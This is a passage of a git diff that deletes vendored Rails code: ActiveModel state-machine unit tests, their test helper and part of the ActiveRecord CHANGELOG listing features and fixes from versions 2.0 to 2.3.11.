-    state = new_state(:entering => Proc.new {|r| r.foobar})
-
-    record = stub
-    record.expects(:foobar)
-  
-    state.call_action(:entering, record)
-  end
-end
diff --git a/vendor/rails/activemodel/test/state_machine/state_transition_test.rb b/vendor/rails/activemodel/test/state_machine/state_transition_test.rb
deleted file mode 100644
index b59ff5a6..00000000
--- a/vendor/rails/activemodel/test/state_machine/state_transition_test.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-require 'test_helper'
-
-class StateTransitionTest < ActiveModel::TestCase
-  test 'should set from, to, and opts attr readers' do
-    opts = {:from => 'foo', :to => 'bar', :guard => 'g'}
-    st = ActiveModel::StateMachine::StateTransition.new(opts)
-
-    assert_equal opts[:from], st.from
-    assert_equal opts[:to],   st.to
-    assert_equal opts,        st.options
-  end
-
-  test 'should pass equality check if from and to are the same' do
-    opts = {:from => 'foo', :to => 'bar', :guard => 'g'}
-    st = ActiveModel::StateMachine::StateTransition.new(opts)
-
-    obj = stub
-    obj.stubs(:from).returns(opts[:from])
-    obj.stubs(:to).returns(opts[:to])
-
-    assert_equal st, obj
-  end
-
-  test 'should fail equality check if from are not the same' do
-    opts = {:from => 'foo', :to => 'bar', :guard => 'g'}
-    st = ActiveModel::StateMachine::StateTransition.new(opts)
-
-    obj = stub
-    obj.stubs(:from).returns('blah')
-    obj.stubs(:to).returns(opts[:to])
-
-    assert_not_equal st, obj
-  end
-
-  test 'should fail equality check if to are not the same' do
-    opts = {:from => 'foo', :to => 'bar', :guard => 'g'}
-    st = ActiveModel::StateMachine::StateTransition.new(opts)
-
-    obj = stub
-    obj.stubs(:from).returns(opts[:from])
-    obj.stubs(:to).returns('blah')
-
-    assert_not_equal st, obj
-  end
-end
-
-class StateTransitionGuardCheckTest < ActiveModel::TestCase
-  test 'should return true of there is no guard' do
-    opts = {:from => 'foo', :to => 'bar'}
-      st = ActiveModel::StateMachine::StateTransition.new(opts)
-
-    assert st.perform(nil)
-  end
-
-  test 'should call the method on the object if guard is a symbol' do
-    opts = {:from => 'foo', :to => 'bar', :guard => :test_guard}
-    st = ActiveModel::StateMachine::StateTransition.new(opts)
-  
-    obj = stub
-    obj.expects(:test_guard)
-    
-    st.perform(obj)
-  end
-  
-  test 'should call the method on the object if guard is a string' do
-    opts = {:from => 'foo', :to => 'bar', :guard => 'test_guard'}
-    st = ActiveModel::StateMachine::StateTransition.new(opts)
-  
-    obj = stub
-    obj.expects(:test_guard)
-    
-    st.perform(obj)
-  end
-  
-  test 'should call the proc passing the object if the guard is a proc' do
-    opts = {:from => 'foo', :to => 'bar', :guard => Proc.new {|o| o.test_guard}}
-    st = ActiveModel::StateMachine::StateTransition.new(opts)
-  
-    obj = stub
-    obj.expects(:test_guard)
-  
-    st.perform(obj)
-  end
-end
diff --git a/vendor/rails/activemodel/test/state_machine_test.rb b/vendor/rails/activemodel/test/state_machine_test.rb
deleted file mode 100644
index 312d8728..00000000
--- a/vendor/rails/activemodel/test/state_machine_test.rb
+++ /dev/null
@@ -1,312 +0,0 @@
-require 'test_helper'
-
-class StateMachineSubject
-  include ActiveModel::StateMachine
-
-  state_machine do
-    state :open,   :exit => :exit
-    state :closed, :enter => :enter
-    
-    event :close, :success => :success_callback do
-      transitions :to => :closed, :from => [:open]
-    end
-
-    event :null do
-      transitions :to => :closed, :from => [:open], :guard => :always_false
-    end
-  end
-
-  state_machine :bar do
-    state :read
-    state :ended
-
-    event :foo do
-      transitions :to => :ended, :from => [:read]
-    end
-  end
-
-  def always_false
-    false
-  end
- 
-  def success_callback
-  end
- 
-  def enter
-  end
-  def exit
-  end
-end
-
-class StateMachineSubjectSubclass < StateMachineSubject
-end
-
-class StateMachineClassLevelTest < ActiveModel::TestCase
-  test 'defines a class level #state_machine method on its including class' do
-    assert StateMachineSubject.respond_to?(:state_machine)
-  end
-
-  test 'defines a class level #state_machines method on its including class' do
-    assert StateMachineSubject.respond_to?(:state_machines)
-  end
-
-  test 'class level #state_machine returns machine instance' do
-    assert_kind_of ActiveModel::StateMachine::Machine, StateMachineSubject.state_machine
-  end
-
-  test 'class level #state_machine returns machine instance with given name' do
-    assert_kind_of ActiveModel::StateMachine::Machine, StateMachineSubject.state_machine(:default)
-  end
-
-  test 'class level #state_machines returns hash of machine instances' do
-    assert_kind_of ActiveModel::StateMachine::Machine, StateMachineSubject.state_machines[:default]
-  end
-
-  test "should return a select friendly array of states in the form of [['Friendly name', 'state_name']]" do
-    assert_equal [['Open', 'open'], ['Closed', 'closed']], StateMachineSubject.state_machine.states_for_select
-  end
-end
-
-class StateMachineInstanceLevelTest < ActiveModel::TestCase
-  def setup
-    @foo = StateMachineSubject.new
-  end
- 
-  test 'defines an accessor for the current state' do
-    assert @foo.respond_to?(:current_state)
-  end
- 
-  test 'defines a state querying instance method on including class' do
-    assert @foo.respond_to?(:open?)
-  end
- 
-  test 'defines an event! instance method' do
-    assert @foo.respond_to?(:close!)
-  end
- 
-  test 'defines an event instance method' do
-    assert @foo.respond_to?(:close)
-  end
-end
- 
-class StateMachineInitialStatesTest < ActiveModel::TestCase
-  def setup
-    @foo = StateMachineSubject.new
-  end
- 
-  test 'sets the initial state' do
-    assert_equal :open, @foo.current_state
-  end
- 
-  test '#open? should be initially true' do
-    assert @foo.open?
-  end
-  
-  test '#closed? should be initially false' do
-    assert !@foo.closed?
-  end
- 
-  test 'uses the first state defined if no initial state is given' do
-    assert_equal :read, @foo.current_state(:bar)
-  end
-end
- 
-class StateMachineEventFiringWithPersistenceTest < ActiveModel::TestCase
-  def setup
-    @subj = StateMachineSubject.new
-  end
-
-  test 'updates the current state' do
-    @subj.close!
-
-    assert_equal :closed, @subj.current_state
-  end
-
-  test 'fires the Event' do
-    @subj.class.state_machine.events[:close].expects(:fire).with(@subj)
-    @subj.close!
-  end
-
-  test 'calls the success callback if one was provided' do
-    @subj.expects(:success_callback)
-    @subj.close!
-  end
-
-  test 'attempts to persist if write_state is defined' do
-    def @subj.write_state
-    end
-
-    @subj.expects(:write_state)
-    @subj.close!
-  end
-end
-
-class StateMachineEventFiringWithoutPersistence < ActiveModel::TestCase
-  test 'updates the current state' do
-    subj = StateMachineSubject.new
-    assert_equal :open, subj.current_state
-    subj.close
-    assert_equal :closed, subj.current_state
-  end
-
-  test 'fires the Event' do
-    subj = StateMachineSubject.new
-
-    StateMachineSubject.state_machine.events[:close].expects(:fire).with(subj)
-    subj.close
-  end
-
-  test 'attempts to persist if write_state is defined' do
-    subj = StateMachineSubject.new
-
-    def subj.write_state
-    end
-
-    subj.expects(:write_state_without_persistence)
-
-    subj.close
-  end
-end
-
-class StateMachinePersistenceTest < ActiveModel::TestCase
-  test 'reads the state if it has not been set and read_state is defined' do
-    subj = StateMachineSubject.new
-    def subj.read_state
-    end
-
-    subj.expects(:read_state).with(StateMachineSubject.state_machine)
-
-    subj.current_state
-  end
-end
-
-class StateMachineEventCallbacksTest < ActiveModel::TestCase
-  test 'should call aasm_event_fired if defined and successful for bang fire' do
-    subj = StateMachineSubject.new
-    def subj.aasm_event_fired(from, to)
-    end
-
-    subj.expects(:event_fired)
-
-    subj.close!
-  end
-
-  test 'should call aasm_event_fired if defined and successful for non-bang fire' do
-    subj = StateMachineSubject.new
-    def subj.aasm_event_fired(from, to)
-    end
-
-    subj.expects(:event_fired)
-
-    subj.close
-  end
-
-  test 'should call aasm_event_failed if defined and transition failed for bang fire' do
-    subj = StateMachineSubject.new
-    def subj.event_failed(event)
-    end
-
-    subj.expects(:event_failed)
-
-    subj.null!
-  end
-
-  test 'should call aasm_event_failed if defined and transition failed for non-bang fire' do
-    subj = StateMachineSubject.new
-    def subj.aasm_event_failed(event)
-    end
-
-    subj.expects(:event_failed)
-
-    subj.null
-  end
-end
-
-class StateMachineStateActionsTest < ActiveModel::TestCase
-  test "calls enter when entering state" do
-    subj = StateMachineSubject.new
-    subj.expects(:enter)
-    subj.close
-  end
-
-  test "calls exit when exiting state" do
-    subj = StateMachineSubject.new
-    subj.expects(:exit)
-    subj.close
-  end
-end
-
-class StateMachineInheritanceTest < ActiveModel::TestCase
-  test "has the same states as its parent" do
-    assert_equal StateMachineSubject.state_machine.states, StateMachineSubjectSubclass.state_machine.states
-  end
- 
-  test "has the same events as its parent" do
-    assert_equal StateMachineSubject.state_machine.events, StateMachineSubjectSubclass.state_machine.events
-  end
-end
-
-class StateMachineSubject
-  state_machine :chetan_patil, :initial => :sleeping do
-    state :sleeping
-    state :showering
-    state :working
-    state :dating
- 
-    event :wakeup do
-      transitions :from => :sleeping, :to => [:showering, :working]
-    end
- 
-    event :dress do
-      transitions :from => :sleeping, :to => :working, :on_transition => :wear_clothes
-      transitions :from => :showering, :to => [:working, :dating], :on_transition => Proc.new { |obj, *args| obj.wear_clothes(*args) }
-    end
-  end
- 
-  def wear_clothes(shirt_color, trouser_type)
-  end
-end
-
-class StateMachineWithComplexTransitionsTest < ActiveModel::TestCase
-  def setup
-    @subj = StateMachineSubject.new
-  end
-
-  test 'transitions to specified next state (sleeping to showering)' do
-    @subj.wakeup! :showering
-    
-    assert_equal :showering, @subj.current_state(:chetan_patil)
-  end
- 
-  test 'transitions to specified next state (sleeping to working)' do
-    @subj.wakeup! :working
- 
-    assert_equal :working, @subj.current_state(:chetan_patil)
-  end
- 
-  test 'transitions to default (first or showering) state' do
-    @subj.wakeup!
- 
-    assert_equal :showering, @subj.current_state(:chetan_patil)
-  end
- 
-  test 'transitions to default state when on_transition invoked' do
-    @subj.dress!(nil, 'purple', 'dressy')
- 
-    assert_equal :working, @subj.current_state(:chetan_patil)
-  end
-
-  test 'calls on_transition method with args' do
-    @subj.wakeup! :showering
-
-    @subj.expects(:wear_clothes).with('blue', 'jeans')
-    @subj.dress! :working, 'blue', 'jeans'
-  end
-
-  test 'calls on_transition proc' do
-    @subj.wakeup! :showering
-
-    @subj.expects(:wear_clothes).with('purple', 'slacks')
-    @subj.dress!(:dating, 'purple', 'slacks')
-  end
-end
diff --git a/vendor/rails/activemodel/test/test_helper.rb b/vendor/rails/activemodel/test/test_helper.rb
deleted file mode 100644
index c4c1d11d..00000000
--- a/vendor/rails/activemodel/test/test_helper.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'rubygems'
-require 'test/unit'
-
-gem 'mocha', '>= 0.9.3'
-require 'mocha'
-
-require 'active_model'
-require 'active_model/state_machine'
-
-$:.unshift File.expand_path('../../../activesupport/lib', __FILE__)
-require 'active_support'
-require 'active_support/test_case'
-
-class ActiveModel::TestCase < ActiveSupport::TestCase
-end
-
-begin
-  require 'ruby-debug'
-  Debugger.start
-rescue LoadError
-end
diff --git a/vendor/rails/activerecord/CHANGELOG b/vendor/rails/activerecord/CHANGELOG
deleted file mode 100644
index a8fb4dbb..00000000
--- a/vendor/rails/activerecord/CHANGELOG
+++ /dev/null
@@ -1,5904 +0,0 @@
-*2.3.11 (February 9, 2011)*
-
-*2.3.10 (October 15, 2010)*
-
-* Security Release to fix CVE-2010-3933
-
-*2.3.9 (September 4, 2010)*
-*2.3.8 (May 24, 2010)*
-*2.3.7 (May 24, 2010)*
-
-* Version bump.
-
-
-*2.3.6 (May 23, 2010)*
-
-* Add index length support for MySQL. #1852 [Emili Parreno, Pratik Naik]
-
-  Example:
-
-    add_index(:accounts, :name, :name => 'by_name', :length => 10)
-    => CREATE INDEX by_name ON accounts(name(10))
-
-    add_index(:accounts, [:name, :surname], :name => 'by_name_surname', :length => {:name => 10, :surname => 15})
-    => CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
-
-* find_or_create_by_attr(value, ...) works when attr is protected.  #4457 [Santiago Pastorino, Marc-André Lafortune]
-
-* JSON supports a custom root option: to_json(:root => 'custom')  #4515 [Jatinder Singh]
-
-* Destroy uses optimistic locking. If lock_version on the record you're destroying doesn't match lock_version in the database, a StaleObjectError is raised.  #1966 [Curtis Hawthorne]
-
-* To prefix the table names of all models in a module, define self.table_name_prefix on the module.  #4032 [Andrew White]
-
-* Association inverses for belongs_to, has_one, and has_many. Optimization to reduce database queries.  #3533 [Murray Steele]
-
-    # post.comments sets each comment's post without needing to :include
-    class Post < ActiveRecord::Base
-      has_many :comments, :inverse_of => :post
-    end
-
-* MySQL: add_ and change_column support positioning.  #3286 [Ben Marini]
-
-* Reset your Active Record counter caches with the reset_counter_cache class method.  #1211 [Mike Breen, Gabe da Silveira]
-
-
-*2.3.5 (November 25, 2009)*
-
-* Minor Bug Fixes and deprecation warnings
-
-* 1.9 Compatibility
-
-* Numerous fixes to the nested attributes functionality
-
-
-*2.3.4 (September 4, 2009)*
-
-* PostgreSQL: XML datatype support.  #1874 [Leonardo Borges]
-
-* SQLite: deprecate the 'dbfile' option in favor of 'database.'  #2363 [Paul Hinze, Jeremy Kemper]
-
-
-*2.3.3 (July 12, 2009)*
-
-* Added :primary_key option to belongs_to associations.  #765 [Szymon Nowak, Philip Hallstrom, Noel Rocha]
-    # employees.company_name references companies.name
-    Employee.belongs_to :company, :primary_key => 'name', :foreign_key => 'company_name'
-
-* Added :touch option to belongs_to associations that will touch the parent record when the current record is saved or destroyed [DHH]
-
-* Added ActiveRecord::Base#touch to update the updated_at/on attributes (or another specified timestamp) with the current time [DHH]
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Added ActiveRecord::Base.find_each and ActiveRecord::Base.find_in_batches for batch processing [DHH/Jamis Buck]
-
-* Added that ActiveRecord::Base.exists? can be called with no arguments #1817 [Scott Taylor]
-
-* Add Support for updating deeply nested models from a single form. #1202 [Eloy Duran]
-
-	class Book < ActiveRecord::Base
-	  has_one :author
-	  has_many :pages
-
-	  accepts_nested_attributes_for :author, :pages
-	end
-
-* Make after_save callbacks fire only if the record was successfully saved.  #1735 [Michael Lovitt]
-
-  Previously the callbacks would fire if a before_save cancelled saving.
-
-* Support nested transactions using database savepoints.  #383 [Jonathan Viney, Hongli Lai]
-
-* Added dynamic scopes ala dynamic finders #1648 [Yaroslav Markin]
-
-* Fixed that ActiveRecord::Base#new_record? should return false (not nil) for existing records #1219 [Yaroslav Markin]
-
-* I18n the word separator for error messages. Introduces the activerecord.errors.format.separator translation key.  #1294 [Akira Matsuda]
-
-* Add :having as a key to find and the relevant associations.  [Emilio Tagua]
-
-* Added default_scope to Base #1381 [Paweł Kondzior]. Example:
-
-    class Person < ActiveRecord::Base
-      default_scope :order => 'last_name, first_name'
-    end
-
-    class Company < ActiveRecord::Base
-      has_many :people
-    end
-
-    Person.all             # => Person.find(:all, :order => 'last_name, first_name')
-    Company.find(1).people # => Person.find(:all, :order => 'last_name, first_name', :conditions => { :company_id => 1 })
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Ensure indices don't flip order in schema.rb #1266 [Jordi Bunster]
-
-* Fixed that serialized strings should never be type-casted (i.e. turning "Yes" to a boolean) #857 [Andreas Korth]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Skip collection ids reader optimization if using :finder_sql [Jeremy Kemper]
-
-* Add Model#delete instance method, similar to Model.delete class method. #1086 [Hongli Lai (Phusion)]
-
-* MySQL: cope with quirky default values for not-null text columns.  #1043 [Frederick Cheung]
-
-* Multiparameter attributes skip time zone conversion for time-only columns [#1030 state:resolved] [Geoff Buesing]
-
-* Base.skip_time_zone_conversion_for_attributes uses class_inheritable_accessor, so that subclasses don't overwrite Base [#346 state:resolved] [Emilio Tagua]
-
-* Added find_last_by dynamic finder #762 [Emilio Tagua]
-
-* Internal API: configurable association options and build_association method for reflections so plugins may extend and override.  #985 [Hongli Lai (Phusion)]
-
-* Changed benchmarks to be reported in milliseconds [David Heinemeier Hansson]
-
-* Connection pooling.  #936 [Nick Sieger]
-
-* Merge scoped :joins together instead of overwriting them. May expose scoping bugs in your code!  #501 [Andrew White]
-
-* before_save, before_validation and before_destroy callbacks that return false will now ROLLBACK the transaction.  Previously this would have been committed before the processing was aborted. #891 [Xavier Noria]
-
-* Transactional migrations for databases which support them.  #834 [divoxx, Adam Wiggins, Tarmo Tänav]
-
-* Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp. #446. [Andrew Stone, Nik Wakelin]
-
-* change_column_default preserves the not-null constraint.  #617 [Tarmo Tänav]
-
-* Fixed that create database statements would always include "DEFAULT NULL" (Nick Sieger) [#334]
-
-* Add :tokenizer option to validates_length_of to specify how to split up the attribute string. #507. [David Lowenfels] Example :
-
-  # Ensure essay contains at least 100 words.
-  validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least %d words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
-
-* Allow conditions on multiple tables to be specified using hash. [Pratik Naik]. Example:
-
-  User.all :joins => :items, :conditions => { :age => 10, :items => { :color => 'black' } }
-  Item.first :conditions => { :items => { :color => 'red' } }
-
-* Always treat integer :limit as byte length.  #420 [Tarmo Tänav]
-
-* Partial updates don't update lock_version if nothing changed.  #426 [Daniel Morrison]
-
-* Fix column collision with named_scope and :joins.  #46 [Duncan Beevers, Mark Catley]
-
-* db:migrate:down and :up update schema_migrations.  #369 [Michael Raidel, RaceCondition]
-
-* PostgreSQL: support :conditions => [':foo::integer', { :foo => 1 }] without treating the ::integer typecast as a bind variable.  [Tarmo Tänav]
-
-* MySQL: rename_column preserves column defaults.  #466 [Diego Algorta]
-
-* Add :from option to calculations.  #397 [Ben Munat]
-
-* Add :validate option to associations to enable/disable the automatic validation of associated models. Resolves #301. [Jan De Poorter]
-
-* PostgreSQL: use 'INSERT ... RETURNING id' for 8.2 and later.  [Jeremy Kemper]
-
-* Added SQL escaping for :limit and :offset in MySQL [Jonathan Wiess]
-
-
-*2.1.0 (May 31st, 2008)*
-
-* Add ActiveRecord::Base.sti_name that checks ActiveRecord::Base#store_full_sti_class? and returns either the full or demodulized name. [Rick Olson]
-
-* Add first/last methods to associations/named_scope. Resolved #226. [Ryan Bates]
-
-* Added SQL escaping for :limit and :offset #288 [Aaron Bedra, Steven Bristol, Jonathan Wiess] 
-
-* Added first/last methods to associations/named_scope. Resolved #226. [Ryan Bates]
-
-* Ensure hm:t preloading honours reflection options. Resolves #137. [Frederick Cheung]
-
-* Added protection against duplicate migration names (Aslak Hellesøy) [#112]
-
-* Base#instantiate_time_object: eliminate check for Time.zone, since we can assume this is set if time_zone_aware_attributes is set to true [Geoff Buesing]
-
-* Time zone aware attribute methods use Time.zone.parse instead of #to_time for String arguments, so that offset information in String is respected. Resolves #105. [Scott Fleckenstein, Geoff Buesing]
-
-* Added change_table for migrations (Jeff Dean) [#71]. Example:
-
-    change_table :videos do |t|
-      t.timestamps                          # adds created_at, updated_at
-      t.belongs_to :goat                    # adds goat_id integer
-      t.string :name, :email, :limit => 20  # adds name and email both with a 20 char limit
-      t.remove :name, :email                # removes the name and email columns
-    end
-
-* Fixed has_many :through .create with no parameters caused a "can't dup NilClass" error (Steven Soroka) [#85]
-
-* Added block-setting of attributes for Base.create like Base.new already has (Adam Meehan) [#39]
-
-* Fixed that pessimistic locking you reference the quoted table name (Josh Susser) [#67]
-
-* Fixed that change_column should be able to use :null => true on a field that formerly had false [Nate Wiger] [#26]
-
-* Added that the MySQL adapter should map integer to either smallint, int, or bigint depending on the :limit just like PostgreSQL [David Heinemeier Hansson]
-
-* Change validates_uniqueness_of :case_sensitive option default back to true (from [9160]).  Love your database columns, don't LOWER them.  [Rick Olson]
-
-* Add support for interleaving migrations by storing which migrations have run in the new schema_migrations table. Closes #11493 [Jordi Bunster]
-
-* ActiveRecord::Base#sum defaults to 0 if no rows are returned.  Closes #11550 [Kamal Fariz Mahyuddin]
-
-* Ensure that respond_to? considers dynamic finder methods. Closes #11538. [James Mead]
-
-* Ensure that save on parent object fails for invalid has_one association. Closes #10518. [Pratik Naik]
-
-* Remove duplicate code from associations. [Pratik Naik]
-
-* Refactor HasManyThroughAssociation to inherit from HasManyAssociation. Association callbacks and <association>_ids= now work with hm:t. #11516 [Ruy Asan]
-
-* Ensure HABTM#create and HABTM#build do not load entire association. [Pratik Naik]
-
-* Improve documentation. [Xavier Noria, Jack Danger Canty, leethal]
-
-* Tweak ActiveRecord::Base#to_json to include a root value in the returned hash: {"post": {"title": ...}} [Rick Olson]
-
-  Post.find(1).to_json # => {"title": ...}
-  config.active_record.include_root_in_json = true
-  Post.find(1).to_json # => {"post": {"title": ...}}
-
-* Add efficient #include? to AssociationCollection (for has_many/has_many :through/habtm).  [stopdropandrew]
-
-* PostgreSQL: create_ and drop_database support.  #9042 [ez, pedz, Nick Sieger]
-
-* Ensure that validates_uniqueness_of works with with_scope. Closes #9235. [Nik Wakelin, cavalle]
-
-* Partial updates include only unsaved attributes. Off by default; set YourClass.partial_updates = true to enable.  [Jeremy Kemper]
-
-* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled [Geoff Buesing]
-
-* Fixed that validates_size_of :within works in associations #11295, #10019 [cavalle]
-
-* Track changes to unsaved attributes.  [Jeremy Kemper]
-
-* Switched to UTC-timebased version numbers for migrations and the schema. This will as good as eliminate the problem of multiple migrations getting the same version assigned in different branches. Also added rake db:migrate:up/down to apply individual migrations that may need to be run when you merge branches #11458 [John Barnette]
-
-* Fixed that has_many :through would ignore the hash conditions #11447 [Emilio Tagua]
-
-* Fix issue where the :uniq option of a has_many :through association is ignored when find(:all) is called.  Closes #9407 [cavalle]
-
-* Fix duplicate table alias error when including an association with a has_many :through association on the same join table.  Closes #7310 [cavalle]
-
-* More efficient association preloading code that compacts a through_records array in a central location.  Closes #11427 [Jack Danger Canty]
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
-
-* Fixed that ActiveRecord#Base.find_or_create/initialize would not honor attr_protected/accessible when used with a hash #11422 [Emilio Tagua]
-
-* Added ActiveRecord#Base.all/first/last as aliases for find(:all/:first/:last) #11413 [nkallen, Chris O'Sullivan]
-
-* Merge the has_finder gem, renamed as 'named_scope'.  #11404 [nkallen]
-
-  class Article < ActiveRecord::Base
-    named_scope :published, :conditions => {:published => true}
-    named_scope :popular, :conditions => ...
-  end
-
-  Article.published.paginate(:page => 1)
-  Article.published.popular.count
-  Article.popular.find(:first)
-  Article.popular.find(:all, :conditions => {...})
-
-  See http://pivots.pivotallabs.com/users/nick/blog/articles/284-hasfinder-it-s-now-easier-than-ever-to-create-complex-re-usable-sql-queries
-
-* Add has_one :through support.  #4756 [Chris O'Sullivan]
-
-* Migrations: create_table supports primary_key_prefix_type.  #10314 [student, Chris O'Sullivan]
-
-* Added logging for dependency load errors with fixtures #11056 [stuthulhu]
-
-* Time zone aware attributes use Time#in_time_zone [Geoff Buesing]
-
-* Fixed that scoped joins would not always be respected #6821 [Theory/Jack Danger Canty]
-
-* Ensure that ActiveRecord::Calculations disambiguates field names with the table name.  #11027 [cavalle]
-
-* Added add/remove_timestamps to the schema statements for adding the created_at/updated_at columns on existing tables #11129 [jramirez]
-
-* Added ActiveRecord::Base.find(:last) #11338 [Emilio Tagua]
-
-* test_native_types expects DateTime.local_offset instead of DateTime.now.offset; fixes test breakage due to dst transition [Geoff Buesing]
-
-* Add :readonly option to HasManyThrough associations. #11156 [Emilio Tagua]
-
-* Improve performance on :include/:conditions/:limit queries by selectively joining in the pre-query.  #9560 [dasil003]
-
-* Perf fix: Avoid the use of named block arguments.  Closes #11109 [adymo]
-
-* PostgreSQL: support server versions 7.4 through 8.0 and the ruby-pg driver.  #11127 [jdavis]
-
-* Ensure association preloading doesn't break when an association returns nil. ##11145 [GMFlash]
-
-* Make dynamic finders respect the :include on HasManyThrough associations.  #10998. [cpytel]
-
-* Base#instantiate_time_object only uses Time.zone when Base.time_zone_aware_attributes is true; leverages Time#time_with_datetime_fallback for readability [Geoff Buesing]
-
-* Refactor ConnectionAdapters::Column.new_time: leverage DateTime failover behavior of Time#time_with_datetime_fallback [Geoff Buesing]
-
-* Improve associations performance by using symbol callbacks instead of string callbacks. #11108 [adymo]
-
-* Optimise the BigDecimal conversion code.  #11110 [adymo]
-
-* Introduce the :readonly option to all associations. Records from the association cannot be saved.  #11084 [Emilio Tagua]
-
-* Multiparameter attributes for time columns fail over to DateTime when out of range of Time [Geoff Buesing]
-
-* Base#instantiate_time_object uses Time.zone.local() [Geoff Buesing]
-
-* Add timezone-aware attribute readers and writers. #10982 [Geoff Buesing]
-
-* Instantiating time objects in multiparameter attributes uses Time.zone if available.  #10982 [Rick Olson]
-
-* Add note about how ActiveRecord::Observer classes are initialized in a Rails app. #10980 [Xavier Noria]
-
-* MySQL: omit text/blob defaults from the schema instead of using an empty string.  #10963 [mdeiters]
-
-* belongs_to supports :dependent => :destroy and :delete.  #10592 [Jonathan Viney]
-
-* Introduce preload query strategy for eager :includes.  #9640 [Frederick Cheung, Aliaksey Kandratsenka, codafoo]
-
-* Support aggregations in finder conditions.  #10572 [Ryan Kinderman]
-
-* Organize and clean up the Active Record test suite.  #10742 [John Barnette]
-
-* Ensure that modifying has_and_belongs_to_many actions clear the query cache.  Closes #10840 [john.andrews]
-
-* Fix issue where Table#references doesn't pass a :null option to a *_type attribute for polymorphic associations.  Closes #10753 [railsjitsu]
-
-* Fixtures: removed support for the ancient pre-YAML file format.  #10736 [John Barnette]
-
-* More thoroughly quote table names.  #10698 [dimdenis, lotswholetime, Jeremy Kemper]
-
-* update_all ignores scoped :order and :limit, so post.comments.update_all doesn't try to include the comment order in the update statement.  #10686 [Brendan Ribera]
-
-* Added ActiveRecord::Base.cache_key to make it easier to cache Active Records in combination with the new ActiveSupport::Cache::* libraries [David Heinemeier Hansson]
-
-* Make sure CSV fixtures are compatible with ruby 1.9's new csv implementation. [JEG2]
-
-* Added by parameter to increment, decrement, and their bang varieties so you can do player1.increment!(:points, 5) #10542 [Sam]
-
-* Optimize ActiveRecord::Base#exists? to use #select_all instead of #find.  Closes #10605 [jamesh, Frederick Cheung, protocool]
-
-* Don't unnecessarily load has_many associations in after_update callbacks.  Closes #6822 [stopdropandrew, canadaduane]
-
-* Eager belongs_to :include infers the foreign key from the association name rather than the class name.  #10517 [Jonathan Viney]
-
-* SQLite: fix rename_ and remove_column for columns with unique indexes.  #10576 [Brandon Keepers]
-
-* Ruby 1.9 compatibility.  #10655 [Jeremy Kemper, Dirkjan Bussink]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Ensure optimistic locking handles nil #lock_version values properly.  Closes #10510 [Rick Olson]
-
-* Make the Fixtures Test::Unit enhancements more supporting for double-loaded test cases.  Closes #10379 [brynary]
-
-* Fix that validates_acceptance_of still works for non-existent tables (useful for bootstrapping new databases).  Closes #10474 [Josh Susser]
-
-* Ensure that the :uniq option for has_many :through associations retains the order.  #10463 [remvee]
-
-* Base.exists? doesn't rescue exceptions to avoid hiding SQL errors.  #10458 [Michael Klishin]
-
-* Documentation: Active Record exceptions, destroy_all and delete_all.  #10444, #10447 [Michael Klishin]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Removed query cache rescue as it could cause code to be run twice (closes #10408) [David Heinemeier Hansson]
-
-
-*2.0.0* (December 6th, 2007)
-
-* Anchor DateTimeTest to fixed DateTime instead of a variable value based on Time.now#advance#to_datetime, so that this test passes on 64-bit platforms running Ruby 1.8.6+ [Geoff Buesing]
-
-* Fixed that the Query Cache should just be ignored if the database is misconfigured (so that the "About your applications environment" works even before the database has been created) [David Heinemeier Hansson]
-
-* Fixed that the truncation of strings longer than 50 chars should use inspect
-so newlines etc are escaped #10385 [Norbert Crombach]
-
-* Fixed that habtm associations should be able to set :select as part of their definition and have that honored [David Heinemeier Hansson]
-
-* Document how the :include option can be used in Calculations::calculate.  Closes #7446 [adamwiggins, ultimoamore]
-
-* Fix typo in documentation for polymorphic associations w/STI. Closes #7461 [johnjosephbachir]
-
-* Reveal that the type option in migrations can be any supported column type for your database but also include caveat about agnosticism. Closes #7531 [adamwiggins, mikong]
-
-* More complete documentation for find_by_sql. Closes #7912 [fearoffish]
-
-* Added ActiveRecord::Base#becomes to turn a record into one of another class (mostly relevant for STIs) [David Heinemeier Hansson]. Example:
-
-    render :partial => @client.becomes(Company) # renders companies/company instead of clients/client
-
-* Fixed that to_xml should not automatically pass :procs to associations included with :include #10162 [Cheah Chu Yeow]
-
-* Fix documentation typo introduced in [8250]. Closes #10339 [Henrik N]
-
-* Foxy fixtures: support single-table inheritance.  #10234 [tom]
-
-* Foxy fixtures: allow mixed usage to make migration easier and more attractive.  #10004 [lotswholetime]
-
-* Make the record_timestamps class-inheritable so it can be set per model.  #10004 [tmacedo]
-
-* Allow validates_acceptance_of to use a real attribute instead of only virtual (so you can record that the acceptance occured) #7457 [ambethia]
-
-* DateTimes use Ruby's default calendar reform setting. #10201 [Geoff Buesing]
-
-* Dynamic finders on association collections respect association :order and :limit.  #10211, #10227 [Patrick Joyce, Rick Olson, Jack Danger Canty]
-
-* Add 'foxy' support for fixtures of polymorphic associations. #10183 [John Barnette, David Lowenfels]
-
-* validates_inclusion_of and validates_exclusion_of allow formatted :message strings.  #8132 [devrieda, Mike Naberezny]
-
-* attr_readonly behaves well with optimistic locking.  #10188 [Nick Bugajski]
-
-* Base#to_xml supports the nil="true" attribute like Hash#to_xml.  #8268 [Jonathan del Strother]
-
-* Change plings to the more conventional quotes in the documentation. Closes #10104 [Jack Danger Canty]
-
-* Fix HasManyThrough Association so it uses :conditions on the HasMany Association.  Closes #9729 [Jack Danger Canty]
-
-* Ensure that column names are quoted.  Closes #10134 [wesley.moxam]
-
-* Smattering of grammatical fixes to documentation. Closes #10083 [Bob Silva]
-
-* Enhance explanation with more examples for attr_accessible macro. Closes #8095 [fearoffish, Marcel Molina Jr.]
-
-* Update association/method mapping table to refected latest collection methods for has_many :through. Closes #8772 [Pratik Naik]
-
